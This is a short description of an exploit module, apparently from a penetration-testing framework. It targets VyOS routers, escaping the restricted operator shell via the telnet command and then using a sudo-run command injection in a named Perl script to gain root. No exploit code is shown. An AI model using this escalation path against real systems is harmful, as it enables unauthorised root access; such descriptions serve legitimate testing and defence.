VyOS features a `restricted-shell` system shell intended for use by low privilege users with operator privileges. This module exploits a vulnerability in the `telnet` command to break out of the restricted shell, then uses sudo to exploit a command injection vulnerability in `/opt/vyatta/bin/sudo-users/vyatta-show-lldp.pl` to execute commands with root privileges.
